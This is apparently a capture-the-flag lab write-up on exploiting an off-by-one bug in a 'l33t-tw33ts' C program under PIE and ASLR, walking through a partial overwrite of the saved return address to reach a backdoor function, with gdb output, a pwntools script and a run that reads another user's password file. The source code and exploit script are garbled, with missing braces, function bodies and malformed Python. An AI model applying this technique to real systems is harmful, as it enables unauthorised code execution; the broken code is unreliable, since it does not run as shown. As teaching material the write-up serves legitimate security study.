For this lab, we are given a program and its corresponding source code:

Exploitation with ASLR
Lab C

 gcc -pie -fPIE -fno-stack-protector -o lab6C lab6C.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct savestate {
    char tweet[140];
    char username[40];
    int msglen;
} save;

void set_tweet(struct savestate *save );
void set_username(struct savestate * save);

/* debug functionality, not used in production */
void secret_backdoor()
    char cmd[128];

    /* reads a command and executes it */
    fgets(cmd, 128, stdin);


void handle_tweet()
    struct savestate save;

    /* Initialize our save state to sane values. */
    memset(save.username, 0, 40);
    save.msglen = 140;

    /* read a username and tweet from the user */

    printf(">: Tweet sent!\n");

void set_tweet(struct savestate *save )
    char readbuf[1024];
    memset(readbuf, 0, 1024);

    printf(">: Tweet @Unix-Dude\n");
    printf(">>: ");

    /* read a tweet from the user, safely copy it to struct */
    fgets(readbuf, 1024, stdin);
    strncpy(save->tweet, readbuf, save->msglen);


void set_username(struct savestate * save)
    int i;
    char readbuf[128];
    memset(readbuf, 0, 128);

    printf(">: Enter your username\n");
    printf(">>: ");

    /* Read and copy the username to our savestate */
    fgets(readbuf, 128, stdin);
    for(i = 0; i <= 40 && readbuf[i]; i++)
        save->username[i] = readbuf[i];

    printf(">: Welcome, %s", save->username);

int main(int argc, char * argv[])

    "--------------------------------------------\n" \
    "|   ~Welcome to l33t-tw33ts ~    v.0.13.37 |\n" \

    /* make some tweets */

    return EXIT_SUCCESS;

If we run checksec, we can see that NX and PIE are enabled.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
RELRO     : Partial

Because PIE is enabled, the ELF executable base address is randomized. However, the offsets within the ELF executable remain the same. We can verify this by running vmmap in gdb a couple of times.

Run 1

0xb7709000 0xb770a000 r-xp	/levels/lab06/lab6C
0xb770a000 0xb770b000 r--p	/levels/lab06/lab6C
0xb770b000 0xb770c000 rw-p	/levels/lab06/lab6C

gdb-peda$ p secret_backdoor
$1 = {<text variable, no debug info>} 0xb776272b <secret_backdoor>

Run 2

0xb7725000 0xb7726000 r-xp	/levels/lab06/lab6C
0xb7726000 0xb7727000 r--p	/levels/lab06/lab6C
0xb7727000 0xb7728000 rw-p	/levels/lab06/lab6C

gdb-peda$ p secret_backdoor
$2 = {<text variable, no debug info>} 0xb772572b <secret_backdoor>

Notice that the lower 3 nibbles of the secret_backdoor address are always the same!


We can see from the source code that there is a off by one error introduced in set_username() on this line:

for(i = 0; i <= 40 && readbuf[i]; i++)

To fix it, we would have to change it to the following.

for(i = 0; i < 40 && readbuf[i]; i++)

This mistake allows us to overwrite the byte adjacent to the username[] buffer in the save struct, which in this case, is the msglen variable. If we overwrite this msglen variable with 0xc6, we will later be able to strncpy() just enough bytes from stdin to do a partial overwrite of the lower two bytes of the saved EIP of handle_tweet().

If we compare the address of main() and the address of secret_backdoor, we see why we only need to overwrite the lower two bytes instead of the entire return address.

gdb-peda$ p main
$3 = {<text variable, no debug info>} 0xb77fd962 <main>
gdb-peda$ p secret_backdoor
$1 = {<text variable, no debug info>} 0xb77fd72b <secret_backdoor>

We can see that both of their most significant bytes are 0xb77fd and that they only differ in the last 3 nibbles. Also, we don’t want to overwrite msglen with a value more than 0xc6 for 2 reasons.

First, we don’t want to because of the way strncpy() works. Take a careful look at this line:

strncpy(save->tweet, readbuf, save->msglen);

It is supposed to read save->msglen bytes of data from readbuf and write them to save->tweet. However, because of how strncpy() works, if the length of readbuf is less than save->msglen, then strncpy() will pad additional null bytes to save->tweet to ensure that save->msglen bytes are written.

Additionally, we don’t want to overwrite any more bytes than that because ASLR randomizes bits 13-20, or the middle two bytes, of the saved EIP. This means that unfortuantely, we won’t know what bits 13-16 are, and need to brute force it. Overwriting msglen with 0xc7 would require us to bruteforce another nibble, so we just stick with overwriting the lower 2 bytes.

Saved EIP before overwrite

0000| 0xbfe6859c --> 0xb77fd98a (<main+40>:	mov    eax,0x0)

Saved EIP after overwrite

0000| 0xbfe6859c --> 0xb77f572b ("rtoul_internal")

If we look at the address of secret_backdoor(), though, we notice that it does not match the address that we overwrote the saved EIP with.

gdb-peda$ p secret_backdoor
$1 = {<text variable, no debug info>} 0xb77fd72b <secret_backdoor>

Again, that is because we need to bruteforce bits 13-16, and therefore, won’t overwrite the saved EIP with the right address, 15 out of every 16 times.

Putting everything together, the following exploit, while not 100% reliable, will give us a shell if we run it a few times.


#!/usr/bin/env python

from pwn import *
import sys

def exploit(r):
if __name__ == "__main__":"For remote: %s HOST PORT" % sys.argv[0])
  if len(sys.argv) > 1:
    r = remote(sys.argv[1], int(sys.argv[2]))
    r = process([ '/levels/lab06/lab6C'])
    print util.proc.pidof(r)
lab6C@warzone:/tmp/lab6C$ python 
[*] For remote: HOST PORT
[+] Starting program '/levels/lab06/lab6C': Done
[*] Switching to interactive mode
|   ~Welcome to l33t-tw33ts ~    v.0.13.37 |
>: Enter your username
>>: >: Tweet sent!
$ cat /home/lab6B/.pass